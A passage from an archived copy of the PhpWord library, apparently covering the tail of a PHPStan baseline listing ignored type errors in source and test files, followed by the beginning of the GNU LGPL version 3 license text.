			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:getStyle\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/Image.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:getSource\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/Link.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:getText\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Element/Link.php

		-
			message: "#^Call to an undefined method object\\:\\:write\\(\\)\\.$#"
			count: 2
			path: src/PhpWord/Writer/RTF/Part/Document.php

		-
			message: "#^Binary operation \"\\+\" between int\\|string and 1 results in an error\\.$#"
			count: 1
			path: src/PhpWord/Writer/RTF/Style/Border.php

		-
			message: "#^PHPDoc tag @param has invalid value \\(\\\\PhpOffice\\\\PhpWord\\\\PhpWord\\)\\: Unexpected token \"\\\\n     \", expected variable at offset 86$#"
			count: 1
			path: src/PhpWord/Writer/Word2007.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Element\\\\AbstractElement\\:\\:write\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/AbstractElement.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Element\\\\Field\\:\\:buildPropertiesAndOptions\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/Field.php

		-
			message: "#^Parameter \\#1 \\$content of method PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Element\\\\AbstractElement\\:\\:writeText\\(\\) expects string, bool\\|int\\|string given\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/FormField.php

		-
			message: "#^Parameter \\#3 \\$value of method PhpOffice\\\\PhpWord\\\\Shared\\\\XMLWriter\\:\\:writeElementBlock\\(\\) expects string\\|null, bool\\|int\\|string given\\.$#"
			count: 3
			path: src/PhpWord/Writer/Word2007/Element/FormField.php

		-
			message: "#^Parameter \\#3 \\$value of method PhpOffice\\\\PhpWord\\\\Shared\\\\XMLWriter\\:\\:writeElementBlock\\(\\) expects string\\|null, int given\\.$#"
			count: 4
			path: src/PhpWord/Writer/Word2007/Element/FormField.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Element\\\\ParagraphAlignment\\:\\:\\$attributes has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/ParagraphAlignment.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Element\\\\ParagraphAlignment\\:\\:\\$name has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/ParagraphAlignment.php

		-
			message: "#^Parameter \\#2 \\$content of method PhpOffice\\\\PhpWord\\\\Shared\\\\XMLWriter\\:\\:writeElement\\(\\) expects string\\|null, bool\\|int\\|string given\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/SDT.php

		-
			message: "#^Parameter \\#3 \\$value of method PhpOffice\\\\PhpWord\\\\Shared\\\\XMLWriter\\:\\:writeElementBlock\\(\\) expects string\\|null, int\\<100000000, 999999999\\> given\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/SDT.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Element\\\\TableAlignment\\:\\:\\$attributes has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/TableAlignment.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Element\\\\TableAlignment\\:\\:\\$name has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/TableAlignment.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\PhpWord\\:\\:addBookmark\\(\\) invoked with 0 parameters, 1 required\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Element/Title.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Part\\\\Chart\\:\\:writeAxisTitle\\(\\) has parameter \\$title with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Part/Chart.php

		-
			message: "#^Parameter \\#3 \\$value of method PhpOffice\\\\PhpWord\\\\Shared\\\\XMLWriter\\:\\:writeElementBlock\\(\\) expects string\\|null, int given\\.$#"
			count: 9
			path: src/PhpWord/Writer/Word2007/Part/Chart.php

		-
			message: "#^Parameter \\#3 \\$value of method PhpOffice\\\\PhpWord\\\\Shared\\\\XMLWriter\\:\\:writeElementBlock\\(\\) expects string\\|null, int\\<0, max\\> given\\.$#"
			count: 4
			path: src/PhpWord/Writer/Word2007/Part/Chart.php

		-
			message: "#^Parameter \\#1 \\$string of function md5 expects string, int\\<0, max\\> given\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Part/Numbering.php

		-
			message: "#^Parameter \\#1 \\$haystack of function strpos expects string, int given\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Part/Rels.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Writer\\\\Word2007\\\\Style\\\\AbstractStyle\\:\\:write\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Style/AbstractStyle.php

		-
			message: "#^Parameter \\#1 \\$styleName of static method PhpOffice\\\\PhpWord\\\\Style\\:\\:getStyle\\(\\) expects string, PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\|string given\\.$#"
			count: 1
			path: src/PhpWord/Writer/Word2007/Style/Font.php

		-
			message: "#^Call to an undefined method object\\:\\:read\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/AbstractTestReader.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\AbstractTestReader\\:\\:\\$parts has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/AbstractTestReader.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\AbstractWebServerEmbeddedTest\\:\\:getBaseUrl\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/AbstractWebServerEmbeddedTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\AbstractWebServerEmbeddedTest\\:\\:getRemoteBmpImageUrl\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/AbstractWebServerEmbeddedTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\AbstractWebServerEmbeddedTest\\:\\:getRemoteGifImageUrl\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/AbstractWebServerEmbeddedTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\AbstractWebServerEmbeddedTest\\:\\:getRemoteImageUrl\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/AbstractWebServerEmbeddedTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\AbstractWebServerEmbeddedTest\\:\\:\\$httpServer has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/AbstractWebServerEmbeddedTest.php

		-
			message: "#^Parameter \\#1 \\$width of class PhpOffice\\\\PhpWord\\\\Element\\\\Cell constructor expects int\\|null, string given\\.$#"
			count: 2
			path: tests/PhpWordTests/Element/CellTest.php

		-
			message: "#^Parameter \\#2 \\$style of class PhpOffice\\\\PhpWord\\\\Element\\\\Cell constructor expects array\\|PhpOffice\\\\PhpWord\\\\Style\\\\Cell\\|null, int given\\.$#"
			count: 2
			path: tests/PhpWordTests/Element/CellTest.php

		-
			message: "#^Parameter \\#1 \\$text of method PhpOffice\\\\PhpWord\\\\Element\\\\Field\\:\\:setText\\(\\) expects PhpOffice\\\\PhpWord\\\\Element\\\\TextRun\\|string\\|null, array given\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/FieldTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Element\\\\ImageTest\\:\\:testImages\\(\\) has parameter \\$createFunction with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Element\\\\ImageTest\\:\\:testImages\\(\\) has parameter \\$extension with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Element\\\\ImageTest\\:\\:testImages\\(\\) has parameter \\$imageFunction with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Element\\\\ImageTest\\:\\:testImages\\(\\) has parameter \\$imageQuality with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Element\\\\ImageTest\\:\\:testImages\\(\\) has parameter \\$source with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Element\\\\ImageTest\\:\\:testImages\\(\\) has parameter \\$type with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Parameter \\#1 \\$source of class PhpOffice\\\\PhpWord\\\\Element\\\\Image constructor expects string, string\\|false given\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Parameter \\#1 \\$string of function md5 expects string, string\\|false given\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Parameter \\#1 \\$string of function ucfirst expects string, string\\|false given\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Parameter \\#3 \\$watermark of class PhpOffice\\\\PhpWord\\\\Element\\\\Image constructor expects bool, null given\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/ImageTest.php

		-
			message: "#^Parameter \\#2 \\$style of class PhpOffice\\\\PhpWord\\\\Element\\\\Section constructor expects array\\|PhpOffice\\\\PhpWord\\\\Style\\|string\\|null, PhpOffice\\\\PhpWord\\\\Style\\\\Section given\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/SectionTest.php

		-
			message: "#^Parameter \\#1 \\$text of class PhpOffice\\\\PhpWord\\\\Element\\\\Title constructor expects PhpOffice\\\\PhpWord\\\\Element\\\\TextRun\\|string, PhpOffice\\\\PhpWord\\\\Element\\\\PageBreak given\\.$#"
			count: 1
			path: tests/PhpWordTests/Element/TitleTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Escaper\\\\RtfEscaper2Test\\:\\:escapestring\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Escaper/RtfEscaper2Test.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Escaper\\\\RtfEscaper2Test\\:\\:escapestring\\(\\) has parameter \\$str with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Escaper/RtfEscaper2Test.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Escaper\\\\RtfEscaper2Test\\:\\:expect\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Escaper/RtfEscaper2Test.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Escaper\\\\RtfEscaper2Test\\:\\:expect\\(\\) has parameter \\$str with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Escaper/RtfEscaper2Test.php

		-
			message: "#^Parameter \\#1 \\$expected of static method PHPUnit\\\\Framework\\\\Assert\\:\\:assertInstanceOf\\(\\) expects class\\-string\\<object\\>, string given\\.$#"
			count: 1
			path: tests/PhpWordTests/IOFactoryTest.php

		-
			message: "#^Parameter \\#2 \\$libraryBaseDir of static method PhpOffice\\\\PhpWord\\\\Settings\\:\\:setPdfRenderer\\(\\) expects string, string\\|false given\\.$#"
			count: 1
			path: tests/PhpWordTests/IOFactoryTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\PhpWord\\:\\:undefinedMethod\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/PhpWordTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:getRows\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Reader/Word2007/ElementTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:getText\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Reader/Word2007/ElementTest.php

		-
			message: "#^Cannot access offset 0 on PhpOffice\\\\PhpWord\\\\Element\\\\TextRun\\.$#"
			count: 1
			path: tests/PhpWordTests/Reader/Word2007/ElementTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:getElement\\(\\)\\.$#"
			count: 2
			path: tests/PhpWordTests/Reader/Word2007/PartTest.php

		-
			message: "#^Cannot call method getElement\\(\\) on PhpOffice\\\\PhpWord\\\\Element\\\\TextRun\\|string\\.$#"
			count: 3
			path: tests/PhpWordTests/Reader/Word2007/PartTest.php

		-
			message: "#^Cannot call method isBold\\(\\) on PhpOffice\\\\PhpWord\\\\Style\\\\Font\\|string\\.$#"
			count: 1
			path: tests/PhpWordTests/Reader/Word2007/PartTest.php

		-
			message: "#^Variable \\$endnote in PHPDoc tag @var does not match assigned variable \\$documentEndnote\\.$#"
			count: 1
			path: tests/PhpWordTests/Reader/Word2007/PartTest.php

		-
			message: "#^Variable \\$footnote in PHPDoc tag @var does not match assigned variable \\$documentFootnote\\.$#"
			count: 1
			path: tests/PhpWordTests/Reader/Word2007/PartTest.php

		-
			message: "#^Cannot access offset 0 on PhpOffice\\\\PhpWord\\\\Element\\\\TextRun\\.$#"
			count: 2
			path: tests/PhpWordTests/Reader/Word2007/StyleTest.php

		-
			message: "#^Else branch is unreachable because ternary operator condition is always true\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Parameter \\#2 \\$libraryBaseDir of static method PhpOffice\\\\PhpWord\\\\Settings\\:\\:setPdfRenderer\\(\\) expects string, string\\|false given\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$compatibility has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$defaultFontName has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$defaultFontSize has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$defaultPaper has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$measurementUnit has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$outputEscapingEnabled has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$pdfRendererName has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$pdfRendererPath has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$tempDir has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\SettingsTest\\:\\:\\$zipClass has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/SettingsTest.php

		-
			message: "#^Cannot call method getStyleName\\(\\) on PhpOffice\\\\PhpWord\\\\Style\\\\Table\\|string\\.$#"
			count: 1
			path: tests/PhpWordTests/Shared/HtmlTest.php

		-
			message: "#^Parameter \\#1 \\$number of static method PhpOffice\\\\PhpWord\\\\Shared\\\\Text\\:\\:numberFormat\\(\\) expects float, string given\\.$#"
			count: 2
			path: tests/PhpWordTests/Shared/TextTest.php

		-
			message: "#^Parameter \\#2 \\$locale of function setlocale expects array\\|string\\|null, int given\\.$#"
			count: 1
			path: tests/PhpWordTests/Shared/XMLWriterTest.php

		-
			message: "#^Parameter \\#2 \\$locale of function setlocale expects string\\|null, string\\|false given\\.$#"
			count: 1
			path: tests/PhpWordTests/Shared/XMLWriterTest.php

		-
			message: "#^Argument of an invalid type array\\<int, string\\>\\|false supplied for foreach, only iterables are supported\\.$#"
			count: 1
			path: tests/PhpWordTests/Shared/ZipArchiveTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Style\\\\AbstractStyleTest\\:\\:callProtectedMethod\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Style/AbstractStyleTest.php

		-
			message: "#^Parameter \\#1 \\$objectOrClass of class ReflectionClass constructor expects class\\-string\\<object\\>\\|object, class\\-string\\|false given\\.$#"
			count: 1
			path: tests/PhpWordTests/Style/AbstractStyleTest.php

		-
			message: "#^Cannot call method setLineHeight\\(\\) on PhpOffice\\\\PhpWord\\\\Style\\\\Font\\|string\\.$#"
			count: 1
			path: tests/PhpWordTests/Style/FontTest.php

		-
			message: "#^Parameter \\#1 \\$type of class PhpOffice\\\\PhpWord\\\\Style\\\\Font constructor expects string, null given\\.$#"
			count: 1
			path: tests/PhpWordTests/Style/FontTest.php

		-
			message: "#^Parameter \\#2 \\$value of method PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\:\\:setStyleValue\\(\\) expects array\\|int\\|string, null given\\.$#"
			count: 1
			path: tests/PhpWordTests/Style/FontTest.php

		-
			message: "#^Cannot call method setLineHeight\\(\\) on PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\|string\\.$#"
			count: 1
			path: tests/PhpWordTests/Style/ParagraphTest.php

		-
			message: "#^Parameter \\#2 \\$value of method PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\:\\:setStyleValue\\(\\) expects array\\|int\\|string, bool given\\.$#"
			count: 1
			path: tests/PhpWordTests/Style/RowTest.php

		-
			message: "#^Parameter \\#2 \\$value of method PhpOffice\\\\PhpWord\\\\Style\\\\Section\\:\\:setSettingValue\\(\\) expects array\\|int\\|string, null given\\.$#"
			count: 1
			path: tests/PhpWordTests/Style/SectionTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:getText\\(\\)\\.$#"
			count: 2
			path: tests/PhpWordTests/TemplateProcessorTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Shared\\\\ZipArchive\\:\\:AddFromString\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/TemplateProcessorTest.php

		-
			message: "#^Cannot access offset 'end' on array\\<int\\>\\|bool\\.$#"
			count: 2
			path: tests/PhpWordTests/TemplateProcessorTest.php

		-
			message: "#^Cannot access offset 'start' on array\\<int\\>\\|bool\\.$#"
			count: 2
			path: tests/PhpWordTests/TemplateProcessorTest.php

		-
			message: "#^Parameter \\#2 \\$haystack of static method PHPUnit\\\\Framework\\\\Assert\\:\\:assertStringContainsString\\(\\) expects string, string\\|false given\\.$#"
			count: 6
			path: tests/PhpWordTests/TemplateProcessorTest.php

		-
			message: "#^Parameter \\#2 \\$haystack of static method PHPUnit\\\\Framework\\\\Assert\\:\\:assertStringNotContainsString\\(\\) expects string, string\\|false given\\.$#"
			count: 4
			path: tests/PhpWordTests/TemplateProcessorTest.php

		-
			message: "#^Part \\$documentZip \\(ZipArchive\\) of encapsed string cannot be cast to string\\.$#"
			count: 1
			path: tests/PhpWordTests/TemplateProcessorTest.php

		-
			message: "#^Part \\$templateZip \\(ZipArchive\\) of encapsed string cannot be cast to string\\.$#"
			count: 1
			path: tests/PhpWordTests/TemplateProcessorTest.php

		-
			message: "#^Argument of an invalid type array\\<int, string\\>\\|false supplied for foreach, only iterables are supported\\.$#"
			count: 1
			path: tests/PhpWordTests/TestHelperDOCX.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\TestableTemplateProcesor\\:\\:__construct\\(\\) has parameter \\$mainPart with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/TestableTemplateProcesor.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\TestableTemplateProcesor\\:\\:__construct\\(\\) has parameter \\$settingsPart with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/TestableTemplateProcesor.php

		-
			message: "#^Cannot access property \\$length on DOMNodeList\\<DOMNode\\>\\|false\\.$#"
			count: 9
			path: tests/PhpWordTests/Writer/HTML/ElementTest.php

		-
			message: "#^Cannot call method item\\(\\) on DOMNodeList\\<DOMNode\\>\\|false\\.$#"
			count: 11
			path: tests/PhpWordTests/Writer/HTML/ElementTest.php

		-
			message: "#^Parameter \\#2 \\$libraryBaseDir of static method PhpOffice\\\\PhpWord\\\\Settings\\:\\:setPdfRenderer\\(\\) expects string, string\\|false given\\.$#"
			count: 3
			path: tests/PhpWordTests/Writer/HTML/Element/PageBreakTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Writer\\\\ODText\\\\Style\\\\FontTest\\:\\:providerAllNamedColors\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/ODText/Style/FontTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:getFont\\(\\)\\.$#"
			count: 2
			path: tests/PhpWordTests/Writer/PDF/DomPDFTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:getOrientation\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/DomPDFTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:getPaperSize\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/DomPDFTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:getTempDir\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/DomPDFTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:setFont\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/DomPDFTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:setOrientation\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/DomPDFTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:setPaperSize\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/DomPDFTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:setTempDir\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/DomPDFTest.php

		-
			message: "#^Parameter \\#2 \\$libraryBaseDir of static method PhpOffice\\\\PhpWord\\\\Settings\\:\\:setPdfRenderer\\(\\) expects string, string\\|false given\\.$#"
			count: 3
			path: tests/PhpWordTests/Writer/PDF/DomPDFTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:getFont\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/MPDFTest.php

		-
			message: "#^Parameter \\#2 \\$libraryBaseDir of static method PhpOffice\\\\PhpWord\\\\Settings\\:\\:setPdfRenderer\\(\\) expects string, string\\|false given\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/MPDFTest.php

		-
			message: "#^Parameter \\#2 \\$libraryBaseDir of static method PhpOffice\\\\PhpWord\\\\Settings\\:\\:setPdfRenderer\\(\\) expects string, string\\|false given\\.$#"
			count: 2
			path: tests/PhpWordTests/Writer/PDF/TCPDFTest.php

		-
			message: "#^Call to an undefined method PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\:\\:getFont\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDF/TCPDFTest.php

		-
			message: "#^Parameter \\#2 \\$libraryBaseDir of static method PhpOffice\\\\PhpWord\\\\Settings\\:\\:setPdfRenderer\\(\\) expects string, string\\|false given\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/PDFTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Writer\\\\RTF\\\\ElementTest\\:\\:removeCr\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/RTF/ElementTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Writer\\\\RTF\\\\ElementTest\\:\\:removeCr\\(\\) has parameter \\$field with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/RTF/ElementTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Writer\\\\RTF\\\\StyleTest\\:\\:removeCr\\(\\) has no return type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/RTF/StyleTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\Writer\\\\RTF\\\\StyleTest\\:\\:removeCr\\(\\) has parameter \\$field with no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/RTF/StyleTest.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\Writer\\\\Word2007\\\\Element\\\\ChartTest\\:\\:\\$outputEscapingEnabled has no type specified\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/Word2007/Element/ChartTest.php

		-
			message: "#^Call to an undefined method object\\:\\:write\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/Word2007/ElementTest.php

		-
			message: "#^Call to an undefined method object\\:\\:write\\(\\)\\.$#"
			count: 1
			path: tests/PhpWordTests/Writer/Word2007/StyleTest.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\XmlDocument\\:\\:getElement\\(\\) should return DOMElement\\|null but returns DOMNode\\|null\\.$#"
			count: 1
			path: tests/PhpWordTests/XmlDocument.php

		-
			message: "#^Method PhpOffice\\\\PhpWordTests\\\\XmlDocument\\:\\:getNodeList\\(\\) should return DOMNodeList\\<DOMNode\\> but returns DOMNodeList\\<DOMNode\\>\\|false\\.$#"
			count: 1
			path: tests/PhpWordTests/XmlDocument.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\XmlDocument\\:\\:\\$path \\(string\\) does not accept string\\|false\\.$#"
			count: 1
			path: tests/PhpWordTests/XmlDocument.php

		-
			message: "#^Property PhpOffice\\\\PhpWordTests\\\\XmlDocument\\:\\:\\$xpath \\(DOMXPath\\) does not accept null\\.$#"
			count: 1
			path: tests/PhpWordTests/XmlDocument.php
vendor/phpoffice/phpword/COPYING.LESSER000066600000016743151150442730013537 0ustar00                   GNU LESSER GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.


  This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.

  0. Additional Definitions.

  As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.

  "The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.

  An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.

  A "Combined Work" is a work produced by combining or linking an
Application with the Library.  The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".

  The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.

  The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.

  1. Exception to Section 3 of the GNU GPL.

  You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.

  2. Conveying Modified Versions.

  If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:

   a) under this License, provided that you make a good faith effort to
   ensure that, in the event an Application does not supply the
   function or data, the facility still operates, and performs
   whatever part of its purpose remains meaningful, or

   b) under the GNU GPL, with none of the additional permissions of
   this License applicable to that copy.

  3. Object Code Incorporating Material from Library Header Files.

  The object code form of an Application may incorporate material from
a header file that is part of the Library.  You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:

   a) Give prominent notice with each copy of the object code that the
   Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the object code with a copy of the GNU GPL and this license
   document.
